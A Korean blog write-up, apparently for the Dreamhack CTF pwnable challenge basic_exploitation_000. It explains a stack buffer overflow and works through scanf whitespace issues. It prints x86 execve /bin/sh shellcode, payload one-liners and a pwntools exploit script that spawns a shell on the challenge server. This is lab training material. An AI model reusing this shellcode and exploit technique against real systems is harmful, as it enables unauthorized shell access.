basic_exploitation_000
파일을 키자 말자 보이는 것이
char buf[0x80];
scanf("%141s", buf);
버퍼는 0x80 (128바이트) 받으면서
141바이트까지 입력을 허용한다
| 128바이트 |
|---|
| 4바이트(SFP) |
| 리턴주소 |
이렇게 생겼으므로
133바이트부터 141바이트까지 /bin/sh 경로의 셀 주소를 넣어볼 것이다
그런데 위 경로는 셀 코드로 작성했을 때
/bin/sh 경로는
'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80'
으로 23바이트라 안들어가진다
그러면
| 128바이트 |
|---|
| 4바이트(SFP) |
| 리턴주소 |
리턴주소를 버퍼가 있는 주소로 잡고 버퍼에 셀 주소를 넣으면 된다
우선 입력한 값이 어디 저장되는지 확인해보자
0xffffd008에 저장되는 것을 알았다
실제로 아무값인 dawd를 넣어보니
0xffffd008 이 주소에 들어가진다
이제 위 정보들로
| 23바이트 셀 주소 + 남은 105바이트 아무 값 |
|---|
| 아무 값 4바이트 |
리턴주소로 0xffffd008 |
이렇게 만들어주면 된다
(python3 -c "import sys; sys.stdout.buffer.write(
b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80'
+ b'A'*105 + b'B'*4 + b'\x38\xd0\xff\xff')"; cat) | ./basic_exploitation_000
이렇게 했는데
안됐다
아무리봐도 문제가 없는거같아서 셀코드를
b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
이걸로 수정하고 A를 102바이트로 바꿨더니 됐다.
같은 경로의 셀 코드인데 하나는 되고 하나는 안되는 이유를 모르겠어서 한참 찾아봤더니
표준 c에서는 scanf 가 \x0b를 공백 문자 취급한다고 한다
execve 시스템 콜 번호가 0b 이고 (숫자 11)
mov al, 0x0b 레지스터 al에 11을 넣는 명령어라고 한다
근데 마침 0b 가 아스키로 수직 탭(\v)이라 공백 처리 되어서 문제가 있었던 거였다
비교
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80
(python3 -c "import sys; sys.stdout.buffer.write(
b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80' +
b'A'*102 + b'B'*4 + b'\x38\xd0\xff\xff')"; cat) | ./basic_exploitation_000
이렇게 접근에 성공했다
이제 서버에 넣어보면
또 안된다
이유를 모르겠어서 멘토형님한테 물어보니
운영체제는 프로그램을 실행할 때 가상 메모리를 사용하고,
여러 보안 기능 중 하나로 ASLR (Address Space Layout Randomization)을 통해 메모리 주소를 랜덤하게 배정한다고 한다
실행파일의 코드 영역 등이 매 실행마다 랜덤하게 시작 주소가 바뀌는 구조인거다.
그래서 payload += p32(bufAddress) 이런식으로 버퍼 주소를 가져온 뒤 가져온 값으로 문제를 풀어야한다
야한다
from pwn import *
r=remote('host3.dreamhack.games',20922)
r.recvuntil(b"buf = (")
bufAddress = int(r.recv(10), 16)
payload = b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
payload += b'\x80'*106
payload += p32(bufAddress)
r.sendline(payload)
r.interactive()
멘토형의 코드를 들고왔다
recvuntil(b"buf = (")를 통해 buf = ( 가 나올 때까지 기다렸다가
나오면 bufAddress = int(r.recv(10), 16) 앞에 10글자를 16진수로 받는다는 뜻이다
그리고 payload는 위에 작성한 것 처럼
실행할 코드 → 쓰레기값 → 리턴주소에 실행할 코드가 있는 곳 주소이다
payload += p32(bufAddress) 는 4바이트 리틀엔디언 형식이다
r.sendline(payload)로 이제 patload를 보내고
r.interactive() 로 상호작용 모드로 전환한다는 뜻이다
그렇게 실행시켜보면
성공했다
'Dreamhack > Pwnable 문제 풀이' 카테고리의 다른 글
| [Pwnable] Exploit Tech: Return Oriented Programming (0) | 2026.04.15 |
|---|---|
| [Pwnable] Exploit Tech: Return to Library (0) | 2026.04.15 |
| [Pwnable Advanced] Exercise: tcache_dup (0) | 2026.04.15 |
| [Pwnable Advanced] Exploit Tech: Tcache Poisoning (0) | 2026.04.15 |
| [Pwnable Advanced] Memory Corruption: Use After Free (1) | 2026.04.14 |